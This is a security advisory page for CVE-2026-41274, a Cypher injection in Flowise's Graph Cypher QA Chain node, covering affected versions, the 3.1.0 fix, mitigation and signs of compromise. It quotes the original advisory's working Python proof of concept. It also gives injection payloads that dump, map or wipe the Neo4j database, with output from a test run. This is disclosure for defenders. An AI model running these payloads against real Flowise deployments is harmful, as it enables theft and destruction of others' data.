CVE-2026-41274: Flowise: Cypher Injection in GraphCypherQAChain
Flowise's Graph Cypher QA Chain node passes the user's chat input into the Cypher pipeline unsanitized, so anyone who can reach the chatflow can run arbitrary Cypher on the connected Neo4j database. They can read, change or wipe it. Flowise 3.0.13 and earlier are affected. Upgrade to 3.1.0.
Published Apr 16, 2026 · Updated Apr 24, 2026 · Analysis Oct 30, 2026
What an attacker can do
In packages/components/nodes/chains/GraphCypherQAChain/GraphCypherQAChain.ts, the run method builds { query: input } from the user's message and calls chain.invoke(obj, { callbacks }). Nothing neutralizes the text before it reaches Neo4j. The advisory's proof of concept sends a Cypher statement as the question to /api/v1/prediction/{flowId}, and the database runs it.
The attacker needs access to the prediction endpoint of a chatflow that has a Graph Cypher QA Chain node, a chat model and a Neo4j Graph node with working credentials. The CVSS vector asks for low privileges, such as an API key. A public chatflow lowers that bar.
The reported results: MATCH (n) RETURN n returned every node, including secret fields. MATCH (n) DETACH DELETE n emptied the database. An error message from Neo4j in one test also showed that injected Cypher ran directly, which lets an attacker map labels and schema. All three of confidentiality, integrity and availability of the graph data are at risk.
Who is affected
npm packages flowise and flowise-components, 3.0.13 and earlier. Only chatflows that contain the Graph Cypher QA Chain node connected to a Neo4j Graph node are exposed. Check:
npm ls flowise flowise-componentsThen list chatflows that use that node, and whether their prediction endpoint is public.
flowise
- Ecosystem
- npm
- Affected
- <= 3.0.13
- Fixed in
- 3.1.0
- Check
npm ls flowise
flowise-components
- Ecosystem
- npm
- Affected
- <= 3.0.13
- Fixed in
- 3.1.0
- Check
npm ls flowise-components
How to fix it
Upgrade flowise and flowise-components to 3.1.0:
npm install [email protected] [email protected]The advisory names no workaround. Until you patch, take chatflows with this node offline or require an API key, and give the Neo4j account the flow uses read-only rights to limit the damage.
How to tell if you were hit
Review Neo4j query logs for statements the chain should not issue: DETACH DELETE, CALL db.labels(), UNION queries and bulk MATCH (n) RETURN n. In Flowise, check prediction requests to chatflows with this node for Cypher keywords in the question field. Unexplained data loss in the graph is a strong sign.
Original advisory
From the GitHub Advisory Database (CC BY 4.0).
Summary
The GraphCypherQAChain node forwards user-provided input directly into the Cypher query execution pipeline without proper sanitization. An attacker can inject arbitrary Cypher commands that are executed on the underlying Neo4j database, enabling data exfiltration, modification, or deletion.
Vulnerability Details
| Field | Value | | Affected File | `packages/components/nodes/chains/GraphCypherQAChain/GraphCypherQAChain.ts` | | Affected Lines | 193-219 (run method) |
Prerequisites
To exploit this vulnerability, the following conditions must be met:
- Neo4j Database: A Neo4j instance must be connected to the Flowise server
- Vulnerable Chatflow Configuration:
- A chatflow containing the Graph Cypher QA Chain node
- Connected to a Chat Model (e.g., ChatOpenAI)
- Connected to a Neo4j Graph node with valid credentials
- API Access: Access to the chatflow's prediction endpoint (
/api/v1/prediction/{flowId})
Root Cause
In GraphCypherQAChain.ts, the run method passes user input directly to the chain without sanitization:
async run(nodeData: INodeData, input: string, options: ICommonObject): Promise<string | object> {
const chain = nodeData.instance as GraphCypherQAChain
// ...
const obj = {
query: input // User input passed directly
}
// ...
response = await chain.invoke(obj, { callbacks }) // Executed without escaping
}Impact
An attacker with access to a vulnerable chatflow can:
- Data Exfiltration: Read all data from the Neo4j database including sensitive fields
- Data Modification: Create, update, or delete nodes and relationships
- Data Destruction: Execute
DETACH DELETEto wipe entire database - Schema Discovery: Enumerate database structure, labels, and properties
Proof of Concept
poc.py
#!/usr/bin/env python3
"""
POC: Cypher injection in GraphCypherQAChain (CWE-943)
Usage:
python poc.py --target http://localhost:3000 --flow-id <FLOW_ID> --token <API_KEY>
"""
import argparse
import json
import urllib.request
import urllib.error
def post_json(url, data, headers):
req = urllib.request.Request(
url,
data=json.dumps(data).encode("utf-8"),
headers={**headers, "Content-Type": "application/json"},
method="POST",
)
with urllib.request.urlopen(req, timeout=15) as resp:
return resp.status, resp.read().decode("utf-8", errors="replace")
def main():
ap = argparse.ArgumentParser()
ap.add_argument("--target", required=True, help="Base URL, e.g. http://host:3000")
ap.add_argument("--flow-id", required=True, help="Chatflow ID with GraphCypherQAChain")
ap.add_argument("--token", help="Bearer token / API key if required")
ap.add_argument(
"--injection",
default="MATCH (n) RETURN n",
help="Cypher payload to inject",
)
args = ap.parse_args()
payload = {
"question": args.injection,
"overrideConfig": {},
}
headers = {}
if args.token:
headers["Authorization"] = f"Bearer {args.token}"
url = args.target.rstrip("/") + f"/api/v1/prediction/{args.flow_id}"
try:
status, body = post_json(url, payload, headers)
print(body if body else f"(empty response, HTTP {status})")
except urllib.error.HTTPError as e:
print(e.read().decode("utf-8", errors="replace"))
except Exception as e:
print(f"Error: {e}")
if __name__ == "__main__":
main()Test Environment Setup
1. Start Neo4j with Docker:
docker run -d \
--name neo4j-test \
-p 7474:7474 \
-p 7687:7687 \
-e NEO4J_AUTH=neo4j/testpassword123 \
neo4j:latest2. Create test data (in Neo4j Browser at http://localhost:7474):
CREATE (a:Person {name: 'Alice', secret: 'SSN-123-45-6789'})
CREATE (b:Person {name: 'Bob', secret: 'SSN-987-65-4321'})
CREATE (a)-[:KNOWS]->(b)3. Configure Flowise chatflow (see screenshot)
Exploitation Steps
# Data destruction (DANGEROUS)
python poc.py --target http://127.0.0.1:3000 \
--flow-id <FLOW_ID> --token <API_KEY> \
--injection "MATCH (n) DETACH DELETE n"Evidence
Cypher injection reaching Neo4j directly:
$ python poc.py --target http://127.0.0.1:3000 --flow-id bbb330a5-... --token ...
{"text":"Error: All sub queries in an UNION must have the same return column names (line 2, column 16 (offset: 22))\n\"RETURN 1 as ok UNION CALL db.labels() YIELD label RETURN label LIMIT 5\"\n ^",...}The error message comes from Neo4j, proving the injected Cypher is executed directly.
Data destruction confirmed:
$ python poc.py ... --injection "MATCH (n) DETACH DELETE n"
{"json":[],...}Empty result indicates all nodes were deleted.
Sensitive data exfiltration:
$ python poc.py ... --injection "MATCH (n) RETURN n"
{"json":[{"n":{"name":"Alice","secret":"SSN-123-45-6789"}},{"n":{"name":"Bob","secret":"SSN-987-65-4321"}}],...}Credited to tenbbughunters, nikpivkin.
Questions
- What do I need to be exposed to CVE-2026-41274?
A chatflow with a Graph Cypher QA Chain node, a chat model and a Neo4j Graph node with valid credentials, plus access to its prediction endpoint.
- Can an attacker delete data?
Yes. The advisory demonstrates
MATCH (n) DETACH DELETE nwiping the test database. Use a read-only Neo4j user for this flow.- Which Flowise version is fixed?
3.1.0, for both
flowiseandflowise-components.
References
How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. The analysis is written by an AI model from the sources listed above and checked by automated rules before it is published. Check versions against the vendor's advisory before you act. Methodology
More Flowise vulnerabilities
All Flowise entriesCVE-2026-73483
Flowise NodeVM sandbox escape via puppeteer allowlist - authenticated RCE and arbitrary file read via Chromium
critical9.4Oct 7, 2026CVE-2026-73487
Flowise Prompt Injection to RCE and SSRF via CSV/Airtable Agent Python Validator Bypass
critical9.0Oct 7, 2026CVE-2026-69250
Flowise: Unauthenticated OAuth2 Refresh Enables Non-Blind SSRF and Secret Exfiltration
high8.5Aug 4, 2026CVE-2026-69251
Flowise RCE via TypeORM DataSource
critical9.0Aug 4, 2026CVE-2026-69252
Flowise: Missing authorization on `/api/v1/files` allows low-privileged API keys to list and delete files across workspaces within the same organization
high7.2Aug 4, 2026CVE-2026-69253
Flowise Sandbox Escape to RCE
critical9.0Aug 4, 2026
